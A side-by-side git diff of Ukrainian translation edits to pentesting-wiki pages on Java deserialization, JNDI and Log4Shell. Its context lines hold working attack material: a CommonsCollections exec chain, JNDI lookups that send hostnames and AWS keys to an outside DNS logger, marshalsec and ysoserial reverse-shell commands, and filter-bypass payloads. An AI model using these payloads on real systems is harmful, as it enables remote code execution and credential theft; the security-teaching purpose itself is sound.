import java.io.FileInputStream; import java.io.FileInputStream;
@ -125,7 +125,7 @@ return null;
### Більше інформації ### Більше інформації
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- В оригінальній ідеї корисний вантаж commons collections був змінений для виконання DNS запиту, це було менш надійно, ніж запропонований метод, але ось пост: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) - В оригінальній ідеї корисний вантаж commons collections був змінений для виконання DNS запиту, це було менш надійно, ніж запропонований метод, але це пост: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe ## GadgetProbe
@ -137,7 +137,7 @@ return null;
**GadgetProbe** використовуватиме той же **DNS корисний вантаж попереднього розділу**, але **перед** виконанням DNS запиту він **спробує десеріалізувати довільний клас**. Якщо **довільний клас існує**, **DNS запит** буде **надіслано**, і GadgetProbe зафіксує, що цей клас існує. Якщо **DNS** запит **ніколи не надсилається**, це означає, що **довільний клас не був десеріалізований** успішно, тому або він не присутній, або він **не серіалізований/експлуатований**. **GadgetProbe** використовуватиме той же **DNS корисний вантаж попереднього розділу**, але **перед** виконанням DNS запиту він **спробує десеріалізувати довільний клас**. Якщо **довільний клас існує**, **DNS запит** буде **надіслано**, і GadgetProbe зафіксує, що цей клас існує. Якщо **DNS** запит **ніколи не надсилається**, це означає, що **довільний клас не був десеріалізований** успішно, тому або він не присутній, або він **не серіалізований/експлуатований**.
У GitHub, [**GadgetProbe має деякі словники**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) з Java класами для тестування. Всередині github, [**GadgetProbe має деякі словники**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) з Java класами для тестування.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
@ -161,7 +161,7 @@ return null;
**Ручне тестування** **Ручне тестування**
Ви можете вибрати запит, клацнути правою кнопкою миші та `Send request to DS - Manual Testing`.\ Ви можете вибрати запит, клацнути правою кнопкою миші та `Send request to DS - Manual Testing`.\
Потім, у вкладці _Deserialization Scanner Tab_ --> _Manual testing tab_ ви можете вибрати **точку вставки**. І **запустити тестування** (Виберіть відповідну атаку в залежності від використаного кодування). Потім, всередині вкладки _Deserialization Scanner_ --> _Manual testing tab_ ви можете вибрати **точку вставки**. І **запустити тестування** (Виберіть відповідну атаку в залежності від використаного кодування).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
@ -169,8 +169,8 @@ return null;
**Експлуатація** **Експлуатація**
Якщо ви виявили вразливу бібліотеку, ви можете надіслати запит до вкладки _Exploiting Tab_.\ Якщо ви виявили вразливу бібліотеку, ви можете надіслати запит до вкладки _Exploiting_.\
У цій вкладці вам потрібно знову **вибрати** **точку ін'єкції**, **ввести** **вразливу бібліотеку**, для якої ви хочете створити корисний вантаж, і **команду**. Потім просто натисніть відповідну кнопку **Attack**. У цій вкладці вам потрібно знову **вибрати** **точку ін'єкції**, **написати** **вразливу бібліотеку**, для якої ви хочете створити корисний вантаж, і **команду**. Потім просто натисніть відповідну кнопку **Attack**.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)

View File

@ -4,7 +4,7 @@
## Java Transformers to Rutime exec() ## Java Transformers to Rutime exec()
В кількох місцях ви можете знайти java десеріалізаційний payload, який використовує трансформери з Apache common collections, як-от наступний: В кількох місцях ви можете знайти java deserialization payload, який використовує transformers з Apache common collections, як-от наступний:
```java ```java
import org.apache.commons.*; import org.apache.commons.*;
import org.apache.commons.collections.*; import org.apache.commons.collections.*;
@ -49,7 +49,7 @@ lazyMap.get("anything");
```java ```java
Runtime.getRuntime().exec(new String[]{"calc.exe"}); Runtime.getRuntime().exec(new String[]{"calc.exe"});
``` ```
Або **точніше**, що буде виконано в кінці, це буде: Або **точніше**, що буде виконано в кінці:
```java ```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
``` ```
@ -92,7 +92,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer); Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything"); lazyMap.get("anything");
``` ```
У останній секції payload ви можете побачити, що **створюється об'єкт Map**. Потім виконується функція `decorate` з `LazyMap` з об'єктом мапи та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що **з'єднані трансформери** будуть скопійовані всередині атрибута `lazyMap.factory`: В останній секції payload ви можете побачити, що **створюється об'єкт Map**. Потім виконується функція `decorate` з `LazyMap` з об'єктом map та з'єднаними трансформерами. З наступного коду ви можете побачити, що це призведе до того, що **з'єднані трансформери** будуть скопійовані всередину атрибута `lazyMap.factory`:
```java ```java
protected LazyMap(Map map, Transformer factory) { protected LazyMap(Map map, Transformer factory) {
super(map); super(map);
@ -124,11 +124,11 @@ object = iTransformers[i].transform(object);
return object; return object;
} }
``` ```
Отже, пам'ятайте, що всередині **factory** ми зберегли **`chainedTransformer`**, а всередині функції **`transform`** ми **проходимо через усі ці трансформери, з'єднані** та виконуємо один за одним. Смішно те, що **кожен трансформер використовує `object`** **як вхідні дані**, а **об'єкт є виходом з останнього виконаного трансформера**. Отже, **всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload**. Отже, пам'ятайте, що всередині **factory** ми зберегли **`chainedTransformer`**, а всередині функції **`transform`** ми **проходимо через всі ці трансформери, що з'єднані** та виконуємо один за одним. Смішно те, що **кожен трансформер використовує `object`** **як вхідні дані**, а **об'єкт є виходом з останнього виконаного трансформера**. Отже, **всі трансформації виконуються в ланцюжку, виконуючи шкідливий payload**.
### Резюме ### Резюме
В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якщо б ми виконували наступний код: В кінці, через те, як lazyMap управляє з'єднаними трансформерами всередині методу get, це як якби ми виконували наступний код:
```java ```java
Object value = "someting"; Object value = "someting";
@ -153,7 +153,7 @@ _Зверніть увагу, що `value` є вхідним значенням
```java ```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
``` ```
Зверніть увагу, що тут **було пояснено гаджети**, використані для **ComonsCollections1** payload. Але залишено **як все це починає виконуватись**. Ви можете побачити [тут, що **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), для виконання цього payload, використовує об'єкт `AnnotationInvocationHandler`, оскільки **коли цей об'єкт буде десеріалізовано**, він **викличе** функцію `payload.get()`, яка **виконає весь payload**. Зверніть увагу, що тут **було пояснено гаджети**, використані для **ComonsCollections1** payload. Але залишено **як все це починає виконуватись**. Ви можете побачити [тут, що **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), для виконання цього payload, використовує об'єкт `AnnotationInvocationHandler`, оскільки **коли цей об'єкт десеріалізується**, він **викликає** функцію `payload.get()`, яка **виконає весь payload**.
## Java Thread Sleep ## Java Thread Sleep

View File

@ -11,9 +11,9 @@ JNDI, інтегрований у Java з кінця 1990-х, слугує як
Java-об'єкти можуть зберігатися та отримуватися за допомогою посилань на іменування JNDI, які мають дві форми: Java-об'єкти можуть зберігатися та отримуватися за допомогою посилань на іменування JNDI, які мають дві форми:
- **Адреси посилань**: Вказує на місцезнаходження об'єкта (наприклад, _rmi://server/ref_), що дозволяє безпосереднє отримання з вказаної адреси. - **Адреси посилань**: Вказує на місцезнаходження об'єкта (наприклад, _rmi://server/ref_), що дозволяє безпосереднє отримання з вказаної адреси.
- **Віддалена фабрика**: Посилається на клас віддаленої фабрики. При доступі клас завантажується та інстанціюється з віддаленого місця. - **Віддалена фабрика**: Посилається на клас віддаленої фабрики. При доступі клас завантажується та створюється з віддаленого місця.
Однак цей механізм може бути використаний зловмисниками, що потенційно призводить до завантаження та виконання довільного коду. Як контрзаходи: Однак цей механізм може бути використаний в зловмисних цілях, що потенційно призводить до завантаження та виконання довільного коду. Як контрзаходи:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки додатково обмежує те, що може бути завантажено. - **RMI**: `java.rmi.server.useCodeabseOnly = true` за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки додатково обмежує те, що може бути завантажено.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалено завантажених Java-об'єктів. Якщо встановлено на `true`, віддалене виконання коду можливе без контролю Менеджера безпеки. - **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалено завантажених Java-об'єктів. Якщо встановлено на `true`, віддалене виконання коду можливе без контролю Менеджера безпеки.
@ -57,9 +57,9 @@ CORBA (Common Object Request Broker Architecture) використовує **Int
### LDAP ### LDAP
По-перше, потрібно розрізняти між Пошуком і Пошуком за іменем.\ По-перше, потрібно розрізняти між Пошуком і Пошуком.\
**Пошук** використовуватиме URL, як-от `ldap://localhost:389/o=JNDITutorial`, щоб знайти об'єкт JNDITutorial з LDAP-сервера та **отримати його атрибути**.\ **Пошук** використовуватиме URL, як-от `ldap://localhost:389/o=JNDITutorial`, щоб знайти об'єкт JNDITutorial з LDAP-сервера та **отримати його атрибути**.\
**Пошук за іменем** призначений для **іменних служб**, оскільки ми хочемо отримати **все, що прив'язано до імені**. **Пошук** призначений для **іменних служб**, оскільки ми хочемо отримати **все, що прив'язано до імені**.
Якщо пошук LDAP був викликаний з **SearchControls.setReturningObjFlag() з `true`, тоді повернений об'єкт буде відновлений**. Якщо пошук LDAP був викликаний з **SearchControls.setReturningObjFlag() з `true`, тоді повернений об'єкт буде відновлений**.
@ -83,11 +83,11 @@ CORBA (Common Object Request Broker Architecture) використовує **Int
## Вразливість Log4Shell ## Вразливість Log4Shell
Вразливість виникає в Log4j, оскільки він підтримує [**спеціальний синтаксис**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) у формі `${prefix:name}`, де `prefix` є одним з кількох різних [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html), які повинні бути оцінені. Наприклад, `${java:version}` є поточною версією Java. Вразливість виникає в Log4j, оскільки він підтримує [**спеціальний синтаксис**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) у формі `${prefix:name}`, де `prefix` є одним з кількох різних [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html), які повинні бути оцінені. Наприклад, `${java:version}` - це поточна версія Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ввів функцію `jndi` Lookup. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично префіксується `java:comp/env/`. Однак, якщо сам ключ містить **":"**, цей стандартний префікс не застосовується. [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ввів функцію `jndi` Lookup. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично префіксується `java:comp/env/`. Однак, якщо сам ключ містить **":"**, цей стандартний префікс не застосовується.
При наявності **:** в ключі, як у `${jndi:ldap://example.com/a}`, **немає префікса**, і **LDAP-сервер запитується для об'єкта**. І ці Lookups можуть використовуватися як у конфігурації Log4j, так і під час запису рядків. При наявності **:** в ключі, як у `${jndi:ldap://example.com/a}`, немає **префікса**, і **LDAP-сервер запитується для об'єкта**. І ці Lookups можуть використовуватися як у конфігурації Log4j, так і під час запису рядків.
Отже, єдине, що потрібно для отримання RCE - це **вразлива версія Log4j, що обробляє інформацію, контрольовану користувачем**. І оскільки це бібліотека, яка широко використовується Java-додатками для ведення журналу інформації (включаючи додатки, що виходять в Інтернет), було дуже поширено мати log4j, що веде журнал, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j **не використовується лише для ведення журналу HTTP-інформації, а будь-якого введення** та даних, які вказав розробник. Отже, єдине, що потрібно для отримання RCE - це **вразлива версія Log4j, що обробляє інформацію, контрольовану користувачем**. І оскільки це бібліотека, яка широко використовується Java-додатками для ведення журналу інформації (включаючи додатки, що виходять в Інтернет), було дуже поширено мати log4j, що веде журнал, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j **не використовується лише для ведення журналу HTTP-інформації, а будь-якого введення** та даних, які вказав розробник.
@ -95,23 +95,23 @@ CORBA (Common Object Request Broker Architecture) використовує **Int
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Критично]** ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Критично]**
Ця вразливість є критичною **вразливістю ненадійної десеріалізації** в компоненті `log4j-core`, що впливає на версії з 2.0-beta9 до 2.14.1. Вона дозволяє **віддалене виконання коду (RCE)**, що дозволяє зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюнь з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початкове виправлення у версії 2.15.0 було неповним. Правила Sigma для захисту доступні ([Правило 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Правило 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)). Ця вразливість є критичною **недовіреною десеріалізацією** в компоненті `log4j-core`, що впливає на версії з 2.0-beta9 до 2.14.1. Вона дозволяє **віддалене виконання коду (RCE)**, що дозволяє зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюнь з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початкове виправлення у версії 2.15.0 було неповним. Правила Sigma для захисту доступні ([Правило 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Правило 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Критично]** ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Критично]**
Спочатку оцінювалося як низьке, але пізніше підвищено до критичного, ця CVE є **вразливістю відмови в обслуговуванні (DoS)**, що виникає внаслідок неповного виправлення у 2.15.0 для CVE-2021-44228. Вона впливає на нестандартні конфігурації, що дозволяє зловмисникам викликати атаки DoS через спеціально підготовлені корисні навантаження. [Твіт](https://twitter.com/marcioalm/status/1471740771581652995) демонструє метод обходу. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та відключення JNDI за замовчуванням. Спочатку оцінювалося як низьке, але пізніше підвищено до критичного, ця CVE є **недоліком відмови в обслуговуванні (DoS)**, що виникає внаслідок неповного виправлення у 2.15.0 для CVE-2021-44228. Вона впливає на нестандартні конфігурації, що дозволяє зловмисникам викликати атаки DoS через спеціально підготовлені корисні навантаження. [Твіт](https://twitter.com/marcioalm/status/1471740771581652995) демонструє метод обходу. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та відключення JNDI за замовчуванням.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Високо]** ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Високо]**
Впливаючи на **версії Log4j 1.x** у нестандартних конфігураціях, що використовують `JMSAppender`, ця CVE є вразливістю ненадійної десеріалізації. Виправлення для гілки 1.x не доступне, оскільки вона вийшла з експлуатації, і рекомендується оновлення до `log4j-core 2.17.0`. Впливаючи на **версії Log4j 1.x** у нестандартних конфігураціях, що використовують `JMSAppender`, ця CVE є недоліком недовіреної десеріалізації. Виправлення для гілки 1.x не доступне, оскільки вона вийшла з експлуатації, і рекомендується оновлення до `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Помірно]** ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Помірно]**
Ця вразливість впливає на **фреймворк ведення журналу Logback**, наступника Log4j 1.x. Раніше вважалося, що він безпечний, але фреймворк виявився вразливим, і нові версії (1.3.0-alpha11 та 1.2.9) були випущені для вирішення проблеми. Ця вразливість впливає на **фреймворк ведення журналу Logback**, наступника Log4j 1.x. Раніше вважалося, що фреймворк безпечний, але виявилося, що він вразливий, і нові версії (1.3.0-alpha11 та 1.2.9) були випущені для вирішення проблеми.
### **CVE-2021-45105** **\[Високо]** ### **CVE-2021-45105** **\[Високо]**
Log4j 2.16.0 містить вразливість DoS, що спонукало до випуску `log4j 2.17.0` для виправлення CVE. Подробиці в звіті BleepingComputer [тут](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). Log4j 2.16.0 містить недолік DoS, що спонукало до випуску `log4j 2.17.0` для виправлення CVE. Подробиці в [звіті BleepingComputer](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
@ -143,7 +143,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
### **Перевірка** ### **Перевірка**
Деякі з платформ, згаданих раніше, дозволять вам вставити деякі змінні дані, які будуть записані, коли їх запитують.\ Деякі з платформ, згаданих раніше, дозволять вам вставити деякі змінні дані, які будуть записані, коли їх запитують.\
Це може бути дуже корисно для 2-х речей: Це може бути дуже корисно для 2 речей:
- Щоб **перевірити** вразливість - Щоб **перевірити** вразливість
- Щоб **екстрагувати інформацію**, зловживаючи вразливістю - Щоб **екстрагувати інформацію**, зловживаючи вразливістю
@ -151,7 +151,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
Наприклад, ви могли б запитати щось на кшталт:\ Наприклад, ви могли б запитати щось на кшталт:\
або як `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** і якщо **отримано DNS-запит з значенням змінної середовища**, ви знаєте, що додаток вразливий. або як `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** і якщо **отримано DNS-запит з значенням змінної середовища**, ви знаєте, що додаток вразливий.
Інша інформація, яку ви могли б спробувати **викрасти**: Інша інформація, яку ви могли б спробувати **викрити**:
``` ```
${env:AWS_ACCESS_KEY_ID} ${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE} ${env:AWS_CONFIG_FILE}
@ -205,9 +205,9 @@ Any other env variable name that could store sensitive information
### RCE Information ### RCE Information
> [!NOTE] > [!NOTE]
> Хости, що працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектору атаки завантаження класів LDAP. Це пов'язано з за замовчуванням деактивацією `com.sun.jndi.ldap.object.trustURLCodebase`, що запобігає JNDI від завантаження віддаленої кодової бази через LDAP. Однак важливо зазначити, що ці версії **не захищені від вектору атаки десеріалізації**. > Хости, що працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектору атаки завантаження класів LDAP. Це пов'язано з деактивацією за замовчуванням `com.sun.jndi.ldap.object.trustURLCodebase`, що запобігає JNDI від завантаження віддаленої кодової бази через LDAP. Однак важливо зазначити, що ці версії **не захищені від вектору атаки десеріалізації**.
> >
> Для атакуючих, які прагнуть експлуатувати ці вищі версії JDK, необхідно використовувати **достовірний гаджет** у Java-додатку. Інструменти, такі як ysoserial або JNDIExploit, часто використовуються для цієї мети. На противагу цьому, експлуатація нижчих версій JDK є відносно простішою, оскільки ці версії можна маніпулювати для завантаження та виконання довільних класів. > Для атакуючих, які прагнуть експлуатувати ці вищі версії JDK, необхідно використовувати **достовірний гаджет** в Java-додатку. Інструменти, такі як ysoserial або JNDIExploit, часто використовуються для цієї мети. Навпаки, експлуатація нижчих версій JDK є відносно простішою, оскільки ці версії можна маніпулювати для завантаження та виконання довільних класів.
> >
> Для **додаткової інформації** (_наприклад, обмеження на вектори RMI та CORBA_) **перегляньте попередній розділ JNDI Naming Reference** або [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) > Для **додаткової інформації** (_наприклад, обмеження на вектори RMI та CORBA_) **перегляньте попередній розділ JNDI Naming Reference** або [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
@ -219,7 +219,7 @@ Any other env variable name that could store sensitive information
```bash ```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit" java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
``` ```
Щоб спонукати ціль завантажити код зворотного шелу, створіть файл Java з назвою `Exploit.java` з вмістом нижче: Щоб спонукати ціль завантажити код зворотного шелу, створіть файл Java з назвою `Exploit.java` з наступним вмістом:
```java ```java
public class Exploit { public class Exploit {
static { static {
@ -237,7 +237,7 @@ e.printStackTrace();
```bash ```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit} ${jndi:ldap://<LDAP_IP>:1389/Exploit}
``` ```
**Примітка:** Цей експлойт залежить від конфігурації Java, яка дозволяє завантаження віддалених кодових баз через LDAP. Якщо це не дозволено, розгляньте можливість експлуатації довіреного класу для виконання довільного коду. **Примітка:** Цей експлойт залежить від конфігурації Java, яка дозволяє завантаження віддаленого коду через LDAP. Якщо це не дозволено, розгляньте можливість експлуатації довіреного класу для виконання довільного коду.
### RCE - **JNDIExploit** ### RCE - **JNDIExploit**
@ -292,11 +292,11 @@ _Цей атака, що використовує спеціально зген
### RCE - JNDI-Injection-Exploit-Plus ### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) - це ще один інструмент для генерації **працюючих JNDI посилань** та надання фонових послуг, запускаючи RMI сервер, LDAP сервер та HTTP сервер.\ [https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) - це ще один інструмент для генерації **працюючих JNDI посилань** та надання фонових служб, запускаючи RMI сервер, LDAP сервер та HTTP сервер.\
### RCE - ysoserial & JNDI-Exploit-Kit ### RCE - ysoserial & JNDI-Exploit-Kit
Ця опція дійсно корисна для атаки на **версії Java, налаштовані на довіру лише до вказаних класів, а не до всіх**. Тому **ysoserial** буде використано для генерації **серіалізацій довірених класів**, які можуть бути використані як гаджети для **виконання довільного коду** (_довірена клас, якою зловживає ysoserial, повинна використовуватися жертвою java програми, щоб експлойт спрацював_). Цей варіант дійсно корисний для атаки на **версії Java, налаштовані на довіру лише до вказаних класів, а не до всіх**. Тому **ysoserial** буде використано для генерації **серіалізацій довірених класів**, які можуть бути використані як гаджети для **виконання довільного коду** (_довірена клас, якою зловживає ysoserial, повинна використовуватися жертвою java програми, щоб експлойт спрацював_).
Використовуючи **ysoserial** або [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), ви можете створити експлойт десеріалізації, який буде завантажено JNDI: Використовуючи **ysoserial** або [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), ви можете створити експлойт десеріалізації, який буде завантажено JNDI:
```bash ```bash
@ -309,7 +309,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tm
``` ```
![](<../../images/image (1118).png>) ![](<../../images/image (1118).png>)
Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримати **реверсний шелл**, просто надіславши його на вразливу версію log4j: **`${ldap://10.10.14.10:1389/generated}`** Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримати **реверс-шел** просто надіславши до вразливої версії log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Обходи ### Обходи
```java ```java
@ -362,7 +362,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
``` ```
### Env Lookups ### Env Lookups
У [цьому CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) атакуючий контролював значення `${sys:cmd}` і потрібно було ексфільтрувати прапор з змінної середовища.\ В [цьому CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) атакуючий контролював значення `${sys:cmd}` і потрібно було ексфільтрувати прапор з змінної середовища.\
Як видно на цій сторінці в [**попередніх payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), існує кілька способів доступу до змінних середовища, таких як: **`${env:FLAG}`**. У цьому CTF це було марно, але в інших реальних сценаріях це може бути корисно. Як видно на цій сторінці в [**попередніх payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), існує кілька способів доступу до змінних середовища, таких як: **`${env:FLAG}`**. У цьому CTF це було марно, але в інших реальних сценаріях це може бути корисно.
### Exfiltration in Exceptions ### Exfiltration in Exceptions
@ -392,7 +392,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
# The string searched is the env FLAG, the regex searched is ^CTF.* # The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception ## and ONLY if it's found ${error} will be resolved with will trigger an exception
``` ```
- **Часовий базований** - **Часовий базовий**
Як було згадано в попередньому розділі, **`%replace`** підтримує **regexes**. Тому можливо використовувати payload з [**ReDoS page**](../regular-expression-denial-of-service-redos.md), щоб викликати **тайм-аут**, якщо прапор знайдено.\ Як було згадано в попередньому розділі, **`%replace`** підтримує **regexes**. Тому можливо використовувати payload з [**ReDoS page**](../regular-expression-denial-of-service-redos.md), щоб викликати **тайм-аут**, якщо прапор знайдено.\
Наприклад, payload на кшталт `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` викликав би **тайм-аут** в цьому CTF. Наприклад, payload на кшталт `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` викликав би **тайм-аут** в цьому CTF.
@ -418,7 +418,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
> >
> Якщо прапор починається з `flagGuess`, весь прапор замінюється на 29 `#`-ів (я використав цей символ, оскільки він, ймовірно, не буде частиною прапора). **Кожен з отриманих 29 `#`-ів потім замінюється на 54 `#`-и**. Цей процес повторюється **6 разів**, що призводить до загальної кількості ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-ів!** > Якщо прапор починається з `flagGuess`, весь прапор замінюється на 29 `#`-ів (я використав цей символ, оскільки він, ймовірно, не буде частиною прапора). **Кожен з отриманих 29 `#`-ів потім замінюється на 54 `#`-и**. Цей процес повторюється **6 разів**, що призводить до загальної кількості ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-ів!**
> >
> Заміна такої кількості `#`-ів викличе 10-секундний тайм-аут додатку Flask, що, в свою чергу, призведе до відправлення коду статусу HTTP 500 користувачу. (Якщо прапор не починається з `flagGuess`, ми отримаємо статус-код, відмінний від 500) > Замінюючи так багато `#`-ів, буде викликано 10-секундний тайм-аут додатку Flask, що, в свою чергу, призведе до відправлення коду статусу HTTP 500 користувачу. (Якщо прапор не починається з `flagGuess`, ми отримаємо статус-код, відмінний від 500)
## Посилання ## Посилання

View File

@ -4,12 +4,12 @@
## Об'єкти в JavaScript <a href="#id-053a" id="id-053a"></a> ## Об'єкти в JavaScript <a href="#id-053a" id="id-053a"></a>
Об'єкти в JavaScript в основному є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою `Object.create` з `null` як аргументом, щоб отримати порожній об'єкт. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей. Об'єкти в JavaScript по суті є колекціями пар ключ-значення, відомими як властивості. Об'єкт можна створити за допомогою `Object.create` з `null` як аргументом для отримання порожнього об'єкта. Цей метод дозволяє створити об'єкт без будь-яких успадкованих властивостей.
```javascript ```javascript
// Run this in the developers tools console // Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object. console.log(Object.create(null)) // This will output an empty object.
``` ```
Порожній об'єкт подібний до порожнього словника, представлений як `{}`. Порожній об'єкт подібний до порожнього словника, який представлений як `{}`.
